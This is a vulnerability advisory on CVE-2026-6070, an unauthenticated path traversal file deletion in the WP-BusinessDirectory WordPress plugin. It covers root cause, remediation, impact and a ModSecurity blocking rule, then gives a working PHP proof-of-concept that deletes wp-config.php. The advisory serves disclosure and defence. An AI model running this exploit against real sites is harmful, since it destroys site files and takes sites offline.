Atomic Edge analysis of CVE-2026-6070 (metadata-based): This vulnerability allows unauthenticated attackers to delete arbitrary files on the server via a path traversal flaw in the WP-BusinessDirectory plugin (versions <= 4.0.1). The CVSS score of 9.1 (Critical) reflects the ease of exploitation and severe impact on availability and integrity.
The root cause is insufficient path validation in the remove() method of the JBusinessDirectoryControllerUpload class. The description indicates the _filename parameter receives no sanitization (RAW filter), and the makePathFile() helper only normalizes directory separators without stripping ../ sequences. The attack requires _path_type=2 to set the base directory to the plugin's site folder. Atomic Edge analysis infers that the vulnerable code likely calls unlink() on a path constructed by concatenating a base directory with the user-supplied _filename, without validating that the final path is within an allowed directory. This is a classic path traversal vulnerability (CWE-73).
Exploitation requires no authentication. The attacker sends a POST request to the WordPress AJAX endpoint or a custom route exposed by the plugin's frontend routing system under the task=upload.remove action. The attacker sets _filename to values containing ../ sequences (e.g., ../../../wp-config.php) and _path_type=2. The plugin then attempts to delete the resolved file path. Atomic Edge research confirms this attack is trivially automatable because the vulnerable endpoint requires no nonce or capability check.
Remediation should involve validating that the resolved absolute path begins with the intended base directory. The plugin must canonicalize the path (e.g., realpath()) after combining the base directory and _filename, then ensure it starts with the allowed directory prefix. Additionally, the _filename parameter should be sanitized to remove or reject path traversal sequences and special characters. The vulnerable endpoint should also require authentication and a nonce.
The impact is severe. An attacker can delete wp-config.php to disable the site and expose database credentials if the server displays PHP errors. Deleting wp-config-backup.php, .htaccess, or index.php can break the entire site. In some configurations, deleting critical system files (e.g., /etc/passwd if the web user has sufficient permissions) could lead to remote code execution or complete server compromise.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-6070 (metadata-based)
# WP-BusinessDirectory plugin <= 4.0.1 - Unauthenticated Arbitrary File Deletion via Path Traversal
# Blocks attempts to exploit the upload.remove endpoint with path traversal in _filename
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20266070,phase:2,deny,status:403,chain,msg:'CVE-2026-6070 - WP-BusinessDirectory file deletion (path traversal)',severity:'CRITICAL',tag:'CVE-2026-6070',tag:'wordpress',tag:'plugin-wp-businessdirectory'"
SecRule ARGS_POST:action "@streq jbusinessdirectory_ajax" "chain"
SecRule ARGS_POST:task "@streq upload.remove" "chain"
SecRule ARGS_POST:_path_type "@streq 2" "chain"
SecRule ARGS_POST:_filename "@rx ../" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6070 - WP-BusinessDirectory <= 4.0.1 - Unauthenticated Arbitrary File Deletion via Path Traversal
/*
* Assumptions:
* - Target site has WP-BusinessDirectory plugin <= 4.0.1 installed.
* - The vulnerable endpoint is accessible via admin-ajax.php with action 'jbusinessdirectory_ajax' or similar.
* This PoC uses the common WordPress AJAX wrapper. Adjust the action name if needed.
* - The _path_type=2 sets the base directory to the plugin's site folder (e.g., /wp-content/plugins/wp-businessdirectory/).
* - The _filename parameter accepts path traversal sequences.
* - The file targeted exists and is writable by the web server process.
*/
$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this
// The AJAX action exposed by the plugin for file upload/remove operations
$action = 'jbusinessdirectory_ajax'; // This may need adjustment based on actual plugin implementation
// Target file to delete: wp-config.php (back one directory from the plugin's base path)
$filename = '../../../wp-config.php';
$payload = array(
'action' => $action,
'task' => 'upload.remove',
'_path_type' => '2',
'_filename' => $filename
);
echo "[*] Sending exploit to $target_urln";
echo "[*] Action: $actionn";
echo "[*] Task: upload.removen";
echo "[*] File: $filenamen";
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "[*] HTTP Response Code: $http_coden";
if ($response === false) {
echo "[!] Request failed.n";
} else {
echo "[*] Response Body: $responsen";
}
